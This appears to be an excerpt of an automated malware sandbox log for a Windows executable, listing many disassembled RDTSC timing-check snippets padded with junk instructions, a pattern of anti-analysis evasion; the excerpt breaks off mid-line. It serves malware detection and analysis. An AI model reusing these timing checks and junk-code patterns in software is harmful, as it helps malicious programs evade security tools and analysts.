Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DC54 second address: 121DC68 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4A7CC24DE6h 0x00000008 jg 00007F4A7CC24DE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BD6D second address: 121BD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4A7D1268F6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BD7D second address: 121BD83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C307 second address: 121C326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7D126906h 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C326 second address: 121C334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4A7CC24DE6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C334 second address: 121C355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F4A7D126908h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C8B3 second address: 121C8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C8B9 second address: 121C8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D783 second address: 121D792 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007F4A7CC24DE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122222D second address: 1222233 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223814 second address: 122381A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122758D second address: 122759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F4A7D1268F8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122759A second address: 12275B6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4A7CC24DF7h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12275B6 second address: 12275BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122690A second address: 122690E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122690E second address: 122691A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4A7D1268F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226BEE second address: 1226BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122702E second address: 1227041 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227041 second address: 1227055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F4A7CC24DE6h 0x0000000e jl 00007F4A7CC24DE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227055 second address: 122705B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122705B second address: 1227067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227067 second address: 122706D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122706D second address: 1227076 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12272F4 second address: 12272FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D106 second address: 122D10C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D6E5 second address: 122D6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D6E9 second address: 122D706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F4A7CC24DE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F4A7CC24DEEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D706 second address: 122D712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4A7D1268F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D895 second address: 122D8A2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A7CC24DE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DA1C second address: 122DA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DA22 second address: 122DA4B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4A7CC24E00h 0x0000000c jmp 00007F4A7CC24DF8h 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CBC9 second address: 122CBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4A7D126908h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CBEB second address: 122CBF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242865 second address: 12428B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4A7D1268FDh 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 jg 00007F4A7D1268F6h 0x00000017 pop ecx 0x00000018 popad 0x00000019 pushad 0x0000001a jmp 00007F4A7D126900h 0x0000001f pushad 0x00000020 push eax 0x00000021 pop eax 0x00000022 jmp 00007F4A7D126907h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12428B8 second address: 12428CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4A7CC24DEAh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243F51 second address: 1243F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246F65 second address: 1246F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CC95 second address: 124CC99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CC99 second address: 124CCB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4A7CC24DF1h 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AC1D second address: 125AC25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AAA2 second address: 125AAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AAA7 second address: 125AAAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AAAD second address: 125AAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261540 second address: 1261544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261924 second address: 126192A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126192A second address: 126192E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126192E second address: 1261934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261934 second address: 1261942 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4A7D1268F8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261A62 second address: 1261A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DF0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261A76 second address: 1261A7C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261A7C second address: 1261A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261A82 second address: 1261A99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F4A7D1268FCh 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12624BF second address: 12624C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12624C5 second address: 12624D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4A7D1268F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12624D1 second address: 12624D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266CB6 second address: 1266CBC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266CBC second address: 1266CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a popad 0x0000000b push ecx 0x0000000c push ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop ebx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12668B8 second address: 12668BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12713A7 second address: 12713B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DEAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FE84 second address: 126FE8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FE8E second address: 126FE94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FE94 second address: 126FE9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281435 second address: 128146B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F4A7CC24DECh 0x0000000c pop ebx 0x0000000d jbe 00007F4A7CC24E11h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4A7CC24DF9h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128146B second address: 128146F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128146F second address: 1281473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12855CB second address: 12855D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12855D2 second address: 12855EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DF2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A100 second address: 129A10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4A7D1268F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A10B second address: 129A116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F4A7CC24DE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A28B second address: 129A293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A293 second address: 129A297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AB45 second address: 129AB52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F4A7D1268F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AD0D second address: 129AD11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C874 second address: 129C88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 je 00007F4A7D126901h 0x0000000d jmp 00007F4A7D1268FBh 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C88F second address: 129C895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A205B second address: 12A2064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080321 second address: 5080326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080326 second address: 508032C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508032C second address: 5080367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4A7CC24DF6h 0x00000012 xor ecx, 4DE0BCF8h 0x00000018 jmp 00007F4A7CC24DEBh 0x0000001d popfd 0x0000001e mov ecx, 6B4A022Fh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50803D9 second address: 50803DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50803DF second address: 5080420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4A7CC24DF0h 0x00000009 or ecx, 33A24678h 0x0000000f jmp 00007F4A7CC24DEBh 0x00000014 popfd 0x00000015 mov ax, A9AFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4A7CC24DF1h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080420 second address: 50804AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4A7D126907h 0x00000009 jmp 00007F4A7D126903h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F4A7D126908h 0x00000015 or ax, A598h 0x0000001a jmp 00007F4A7D1268FBh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F4A7D126901h 0x0000002d xor si, 9336h 0x00000032 jmp 00007F4A7D126901h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50804AA second address: 508051C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F4A7CC24DECh 0x00000010 mov eax, 75CDBF21h 0x00000015 pop esi 0x00000016 pushfd 0x00000017 jmp 00007F4A7CC24DF7h 0x0000001c sub ax, 3DCEh 0x00000021 jmp 00007F4A7CC24DF9h 0x00000026 popfd 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F4A7CC24DEDh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508051C second address: 5080522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080522 second address: 5080526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080526 second address: 5080536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a mov bx, 5978h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080536 second address: 508053A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEA82 second address: 11BEA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080570 second address: 50805B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e movsx ebx, cx 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 jmp 00007F4A7CC24DF2h 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov cl, D3h 0x0000001d mov dh, 90h 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805B0 second address: 50805B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805B4 second address: 50805B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805B8 second address: 50805BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805E5 second address: 508067C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4A7CC24DF4h 0x0000000b popad 0x0000000c push 50588C03h 0x00000011 pushad 0x00000012 mov edx, 7A7324D2h 0x00000017 jmp 00007F4A7CC24DF3h 0x0000001c popad 0x0000001d xor dword ptr [esp], 2506902Bh 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F4A7CC24DF4h 0x0000002b or ax, 0218h 0x00000030 jmp 00007F4A7CC24DEBh 0x00000035 popfd 0x00000036 push eax 0x00000037 push edx 0x00000038 pushfd 0x00000039 jmp 00007F4A7CC24DF6h 0x0000003e jmp 00007F4A7CC24DF5h 0x00000043 popfd 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508067C second address: 50806FE instructions: 0x00000000 rdtsc 0x00000002 call 00007F4A7D126900h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b call 00007F4AED61A256h 0x00000010 push 755727D0h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [75600140h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 jmp 00007F4A7D126901h 0x0000005a and dword ptr [ebp-04h], 00000000h 0x0000005e pushad 0x0000005f call 00007F4A7D1268FCh 0x00000064 jmp 00007F4A7D126902h 0x00000069 pop eax 0x0000006a push edx 0x0000006b mov edx, ecx 0x0000006d pop eax 0x0000006e popad 0x0000006f mov edx, dword ptr [ebp+0Ch] 0x00000072 jmp 